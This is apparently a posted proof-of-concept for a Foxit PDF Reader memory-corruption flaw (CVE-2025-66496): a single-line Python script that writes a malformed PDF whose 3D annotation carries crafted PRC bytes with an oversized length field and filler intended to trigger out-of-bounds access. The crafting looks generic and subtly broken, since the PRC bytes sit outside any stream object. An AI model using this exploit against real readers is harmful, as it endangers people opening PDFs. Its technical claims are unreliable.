Foxit PDF Reader PRC数据解析内存损坏漏洞 (CVE-2025-66496)

#!/usr/bin/env python3 """ CVE-2025-66496 PoC - Foxit PDF Reader PRC Memory Corruption This PoC generates a malformed PDF with crafted PRC data to trigger an out-of-bounds memory access in Foxit PDF Reader's 3D annotation handling. Note: This is for educational/research purposes only. """ import struct from io import BytesIO def create_crafted_prc_data(): """ Create malformed PRC data designed to trigger boundary check bypass. The PRC data contains invalid offsets and oversized data fields. """ prc_header = b'PRC\x00' # PRC file signature prc_version = struct.pack('<H', 1) # Version 1 # Crafted header with invalid size values to bypass boundary checks prc_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size value # Crafted data with out-of-bounds offsets prc_data = b'\x00' * 256 # Padding to trigger OOB access prc_data += b'\xFF' * 128 # Overwrite marker # Malformed object references malformed_refs = b'\xCC' * 64 # Invalid reference data return prc_header + prc_version + prc_size + prc_data + malformed_refs def create_crafted_3d_annotation(): """ Create a 3D annotation object with crafted PRC content stream. """ prc_data = create_crafted_prc_data() # 3D annotation dictionary with crafted AP (Appearance) stream annotation = b'<<\n' annotation += b'/Type /Annot\n' annotation += b'/Subtype /3D\n' annotation += b'/AP <<\n' annotation += b' /N <<\n' annotation += b' /Length ' + str(len(prc_data)).encode() + b'\n' annotation += b' >>\n' annotation += b'>>\n' annotation += b'/Contents (Malformed PRC Data)\n' annotation += b'>>' return annotation + prc_data def create_malformed_pdf(): """ Generate a PDF file with malformed 3D annotation containing crafted PRC data. """ pdf = b'%PDF-1.7\n' pdf += b'%\xe2\xe3\xcf\xd3\n' # Binary comment # Object 1: Catalog obj1_offset = len(pdf) pdf += b'1 0 obj\n' pdf += b'<< /Type /Catalog /Pages 2 0 R >>\n' pdf += b'endobj\n\n' # Object 2: Pages obj2_offset = len(pdf) pdf += b'2 0 obj\n' pdf += b'<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n' pdf += b'endobj\n\n' # Object 3: Page with 3D annotation obj3_offset = len(pdf) pdf += b'3 0 obj\n' pdf += b'<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [4 0 R] >>\n' pdf += b'endobj\n\n' # Object 4: 3D Annotation with crafted PRC data obj4_offset = len(pdf) crafted_annotation = create_crafted_3d_annotation() pdf += b'4 0 obj\n' pdf += crafted_annotation + b'\n' pdf += b'endobj\n\n' # Cross-reference table xref_offset = len(pdf) pdf += b'xref\n' pdf += b'0 5\n' pdf += b'0000000000 65535 f \n' pdf += f'{obj1_offset:010d} 00000 n \n'.encode() pdf += f'{obj2_offset:010d} 00000 n \n'.encode() pdf += f'{obj3_offset:010d} 00000 n \n'.encode() pdf += f'{obj4_offset:010d} 00000 n \n'.encode() # Trailer pdf += b'trailer\n' pdf += b'<< /Size 5 /Root 1 0 R >>\n' pdf += b'startxref\n' pdf += str(xref_offset).encode() + b'\n' pdf += b'%%EOF\n' return pdf def main(): """ Main function to generate the PoC PDF file. """ print('[+] Generating CVE-2025-66496 PoC PDF...') print('[+] Target: Foxit PDF Reader 3D annotation PRC parsing') print('[+] Vulnerability: Memory corruption due to insufficient bounds checking') pdf_content = create_malformed_pdf() output_file = 'CVE-2025-66496-poc.pdf' with open(output_file, 'wb') as f: f.write(pdf_content) print(f'[+] PoC PDF generated: {output_file}') print(f'[+] File size: {len(pdf_content)} bytes') print('[!] Note: This PoC is for research purposes only.') if __name__ == '__main__': main()